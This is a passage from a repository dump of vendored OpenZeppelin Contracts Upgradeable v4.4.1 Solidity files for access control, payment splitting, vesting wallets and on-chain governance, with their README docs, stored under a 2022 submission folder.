* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/IAccessControlUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/README.adoc
================================================
= Access Control
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/access
This directory provides ways to restrict who can access the functions of a contract or when they can do it.
- {AccessControl} provides a general role based access control mechanism. Multiple hierarchical roles can be created and assigned each to multiple accounts.
- {Ownable} is a simpler mechanism with a single owner "role" that can be assigned to a single account. This simpler mechanism can be useful for quick tests but projects with production concerns are likely to outgrow it.
== Authorization
{{Ownable}}
{{IAccessControl}}
{{AccessControl}}
{{IAccessControlEnumerable}}
{{AccessControlEnumerable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/PaymentSplitterUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitterUpgradeable is Initializable, ContextUpgradeable {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20Upgradeable indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20Upgradeable => uint256) private _erc20TotalReleased;
mapping(IERC20Upgradeable => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
function __PaymentSplitter_init(address[] memory payees, uint256[] memory shares_) internal onlyInitializing {
__Context_init_unchained();
__PaymentSplitter_init_unchained(payees, shares_);
}
function __PaymentSplitter_init_unchained(address[] memory payees, uint256[] memory shares_) internal onlyInitializing {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20Upgradeable token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20Upgradeable token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
AddressUpgradeable.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20Upgradeable token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20Upgradeable.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
uint256[43] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/README.adoc
================================================
= Finance
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance
This directory includes primitives for financial systems:
- {PaymentSplitter} allows to split Ether and ERC20 payments among a group of accounts. The sender does not need to be
aware that the assets will be split in this way, since it is handled transparently by the contract. The split can be
in equal parts or in any other arbitrary proportion.
- {VestingWallet} handles the vesting of Ether and ERC20 tokens for a given beneficiary. Custody of multiple tokens can
be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting
schedule.
== Contracts
{{PaymentSplitter}}
{{VestingWallet}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/finance/VestingWalletUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/VestingWallet.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/math/MathUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title VestingWallet
* @dev This contract handles the vesting of Eth and ERC20 tokens for a given beneficiary. Custody of multiple tokens
* can be given to this contract, which will release the token to the beneficiary following a given vesting schedule.
* The vesting schedule is customizable through the {vestedAmount} function.
*
* Any token transferred to this contract will follow the vesting schedule as if they were locked from the beginning.
* Consequently, if the vesting has already started, any amount of tokens sent to this contract will (at least partly)
* be immediately releasable.
*/
contract VestingWalletUpgradeable is Initializable, ContextUpgradeable {
event EtherReleased(uint256 amount);
event ERC20Released(address indexed token, uint256 amount);
uint256 private _released;
mapping(address => uint256) private _erc20Released;
address private _beneficiary;
uint64 private _start;
uint64 private _duration;
/**
* @dev Set the beneficiary, start timestamp and vesting duration of the vesting wallet.
*/
function __VestingWallet_init(
address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds
) internal onlyInitializing {
__Context_init_unchained();
__VestingWallet_init_unchained(beneficiaryAddress, startTimestamp, durationSeconds);
}
function __VestingWallet_init_unchained(
address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds
) internal onlyInitializing {
require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address");
_beneficiary = beneficiaryAddress;
_start = startTimestamp;
_duration = durationSeconds;
}
/**
* @dev The contract should be able to receive Eth.
*/
receive() external payable virtual {}
/**
* @dev Getter for the beneficiary address.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @dev Getter for the start timestamp.
*/
function start() public view virtual returns (uint256) {
return _start;
}
/**
* @dev Getter for the vesting duration.
*/
function duration() public view virtual returns (uint256) {
return _duration;
}
/**
* @dev Amount of eth already released
*/
function released() public view virtual returns (uint256) {
return _released;
}
/**
* @dev Amount of token already released
*/
function released(address token) public view virtual returns (uint256) {
return _erc20Released[token];
}
/**
* @dev Release the native token (ether) that have already vested.
*
* Emits a {TokensReleased} event.
*/
function release() public virtual {
uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();
_released += releasable;
emit EtherReleased(releasable);
AddressUpgradeable.sendValue(payable(beneficiary()), releasable);
}
/**
* @dev Release the tokens that have already vested.
*
* Emits a {TokensReleased} event.
*/
function release(address token) public virtual {
uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);
_erc20Released[token] += releasable;
emit ERC20Released(token, releasable);
SafeERC20Upgradeable.safeTransfer(IERC20Upgradeable(token), beneficiary(), releasable);
}
/**
* @dev Calculates the amount of ether that has already vested. Default implementation is a linear vesting curve.
*/
function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(address(this).balance + released(), timestamp);
}
/**
* @dev Calculates the amount of tokens that has already vested. Default implementation is a linear vesting curve.
*/
function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(IERC20Upgradeable(token).balanceOf(address(this)) + released(token), timestamp);
}
/**
* @dev Virtual implementation of the vesting formula. This returns the amout vested, as a function of time, for
* an asset given its total historical allocation.
*/
function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {
if (timestamp < start()) {
return 0;
} else if (timestamp > start() + duration()) {
return totalAllocation;
} else {
return (totalAllocation * (timestamp - start())) / duration();
}
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/GovernorUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/Governor.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../utils/math/SafeCastUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/TimersUpgradeable.sol";
import "./IGovernorUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Core of the governance system, designed to be extended though various modules.
*
* This contract is abstract and requires several function to be implemented in various modules:
*
* - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}
* - A voting module must implement {getVotes}
* - Additionanly, the {votingPeriod} must also be implemented
*
* _Available since v4.3._
*/
abstract contract GovernorUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, EIP712Upgradeable, IGovernorUpgradeable {
using SafeCastUpgradeable for uint256;
using TimersUpgradeable for TimersUpgradeable.BlockNumber;
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
struct ProposalCore {
TimersUpgradeable.BlockNumber voteStart;
TimersUpgradeable.BlockNumber voteEnd;
bool executed;
bool canceled;
}
string private _name;
mapping(uint256 => ProposalCore) private _proposals;
/**
* @dev Restrict access to governor executing address. Some module might override the _executor function to make
* sure this modifier is consistant with the execution model.
*/
modifier onlyGovernance() {
require(_msgSender() == _executor(), "Governor: onlyGovernance");
_;
}
/**
* @dev Sets the value for {name} and {version}
*/
function __Governor_init(string memory name_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__Governor_init_unchained(name_);
}
function __Governor_init_unchained(string memory name_) internal onlyInitializing {
_name = name_;
}
/**
* @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)
*/
receive() external payable virtual {
require(_executor() == address(this));
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC165Upgradeable) returns (bool) {
return interfaceId == type(IGovernorUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IGovernor-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IGovernor-version}.
*/
function version() public view virtual override returns (string memory) {
return "1";
}
/**
* @dev See {IGovernor-hashProposal}.
*
* The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array
* and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id
* can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in
* advance, before the proposal is submitted.
*
* Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
* same proposal (with same operation and same description) will have the same id if submitted on multiple governors
* accross multiple networks. This also means that in order to execute the same operation twice (on the same
* governor) the proposer will have to change the description in order to avoid proposal id conflicts.
*/
function hashProposal(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public pure virtual override returns (uint256) {
return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));
}
/**
* @dev See {IGovernor-state}.
*/
function state(uint256 proposalId) public view virtual override returns (ProposalState) {
ProposalCore memory proposal = _proposals[proposalId];
if (proposal.executed) {
return ProposalState.Executed;
} else if (proposal.canceled) {
return ProposalState.Canceled;
} else if (proposal.voteStart.getDeadline() >= block.number) {
return ProposalState.Pending;
} else if (proposal.voteEnd.getDeadline() >= block.number) {
return ProposalState.Active;
} else if (proposal.voteEnd.isExpired()) {
return
_quorumReached(proposalId) && _voteSucceeded(proposalId)
? ProposalState.Succeeded
: ProposalState.Defeated;
} else {
revert("Governor: unknown proposal id");
}
}
/**
* @dev See {IGovernor-proposalSnapshot}.
*/
function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteStart.getDeadline();
}
/**
* @dev See {IGovernor-proposalDeadline}.
*/
function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteEnd.getDeadline();
}
/**
* @dev Part of the Governor Bravo's interface: _"The number of votes required in order for a voter to become a proposer"_.
*/
function proposalThreshold() public view virtual returns (uint256) {
return 0;
}
/**
* @dev Amount of votes already cast passes the threshold limit.
*/
function _quorumReached(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Is the proposal successful or not.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Register a vote with a given support and voting weight.
*
* Note: Support is generic and can represent various things depending on the voting system used.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual;
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
require(
getVotes(msg.sender, block.number - 1) >= proposalThreshold(),
"GovernorCompatibilityBravo: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
uint64 deadline = snapshot + votingPeriod().toUint64();
proposal.voteStart.setDeadline(snapshot);
proposal.voteEnd.setDeadline(deadline);
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
snapshot,
deadline,
description
);
return proposalId;
}
/**
* @dev See {IGovernor-execute}.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status == ProposalState.Succeeded || status == ProposalState.Queued,
"Governor: proposal not successful"
);
_proposals[proposalId].executed = true;
emit ProposalExecuted(proposalId);
_execute(proposalId, targets, values, calldatas, descriptionHash);
return proposalId;
}
/**
* @dev Internal execution mechanism. Can be overriden to implement different execution mechanism
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
string memory errorMessage = "Governor: call reverted without message";
for (uint256 i = 0; i < targets.length; ++i) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
AddressUpgradeable.verifyCallResult(success, returndata, errorMessage);
}
}
/**
* @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as
* canceled to allow distinguishing it from executed proposals.
*
* Emits a {IGovernor-ProposalCanceled} event.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,
"Governor: proposal not active"
);
_proposals[proposalId].canceled = true;
emit ProposalCanceled(proposalId);
return proposalId;
}
/**
* @dev See {IGovernor-castVote}.
*/
function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, "");
}
/**
* @dev See {IGovernor-castVoteWithReason}.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, reason);
}
/**
* @dev See {IGovernor-castVoteBySig}.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override returns (uint256) {
address voter = ECDSAUpgradeable.recover(
_hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),
v,
r,
s
);
return _castVote(proposalId, voter, support, "");
}
/**
* @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve
* voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.
*
* Emits a {IGovernor-VoteCast} event.
*/
function _castVote(
uint256 proposalId,
address account,
uint8 support,
string memory reason
) internal virtual returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active");
uint256 weight = getVotes(account, proposal.voteStart.getDeadline());
_countVote(proposalId, account, support, weight);
emit VoteCast(account, proposalId, support, weight, reason);
return weight;
}
/**
* @dev Address through which the governor executes action. Will be overloaded by module that execute actions
* through another contract such as a timelock.
*/
function _executor() internal view virtual returns (address) {
return address(this);
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/IGovernorUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Interface of the {Governor} core.
*
* _Available since v4.3._
*/
abstract contract IGovernorUpgradeable is Initializable, IERC165Upgradeable {
function __IGovernor_init() internal onlyInitializing {
__IGovernor_init_unchained();
}
function __IGovernor_init_unchained() internal onlyInitializing {
}
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/**
* @dev Emitted when a proposal is created.
*/
event ProposalCreated(
uint256 proposalId,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/**
* @dev Emitted when a proposal is canceled.
*/
event ProposalCanceled(uint256 proposalId);
/**
* @dev Emitted when a proposal is executed.
*/
event ProposalExecuted(uint256 proposalId);
/**
* @dev Emitted when a vote is cast.
*
* Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.
*/
event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);
/**
* @notice module:core
* @dev Name of the governor instance (used in building the ERC712 domain separator).
*/
function name() public view virtual returns (string memory);
/**
* @notice module:core
* @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"
*/
function version() public view virtual returns (string memory);
/**
* @notice module:voting
* @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to
* be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of
* key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.
*
* There are 2 standard keys: `support` and `quorum`.
*
* - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.
* - `quorum=bravo` means that only For votes are counted towards quorum.
* - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.
*
* NOTE: The string can be decoded by the standard
* https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]
* JavaScript class.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual returns (string memory);
/**
* @notice module:core
* @dev Hashing function used to (re)build the proposal id from the proposal details..
*/
function hashProposal(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 descriptionHash
) public pure virtual returns (uint256);
/**
* @notice module:core
* @dev Current state of a proposal, following Compound's convention
*/
function state(uint256 proposalId) public view virtual returns (ProposalState);
/**
* @notice module:core
* @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's
* ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the
* beginning of the following block.
*/
function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:core
* @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote
* during this block.
*/
function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to
* leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.
*/
function votingDelay() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of blocks, between the vote start and vote ends.
*
* NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting
* duration compared to the voting delay.
*/
function votingPeriod() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Minimum number of cast voted required for a proposal to be successful.
*
* Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the
* quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).
*/
function quorum(uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:reputation
* @dev Voting power of an `account` at a specific `blockNumber`.
*
* Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or
* multiple), {ERC20Votes} tokens.
*/
function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:voting
* @dev Returns weither `account` has cast a vote on `proposalId`.
*/
function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);
/**
* @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends
* {IGovernor-votingPeriod} blocks after the voting starts.
*
* Emits a {ProposalCreated} event.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256 proposalId);
/**
* @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the
* deadline to be reached.
*
* Emits a {ProposalExecuted} event.
*
* Note: some module can modify the requirements for execution, for example by adding an additional timelock.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual returns (uint256 proposalId);
/**
* @dev Cast a vote
*
* Emits a {VoteCast} event.
*/
function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);
/**
* @dev Cast a with a reason
*
* Emits a {VoteCast} event.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual returns (uint256 balance);
/**
* @dev Cast a vote using the user cryptographic signature.
*
* Emits a {VoteCast} event.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual returns (uint256 balance);
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/README.adoc
================================================
= Governance
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/governance
This directory includes primitives for on-chain governance.
== Governor
This modular system of Governor contracts allows the deployment on-chain voting protocols similar to https://compound.finance/docs/governance[Compound's Governor Alpha & Bravo] and beyond, through the ability to easily customize multiple aspects of the protocol.
[TIP]
====
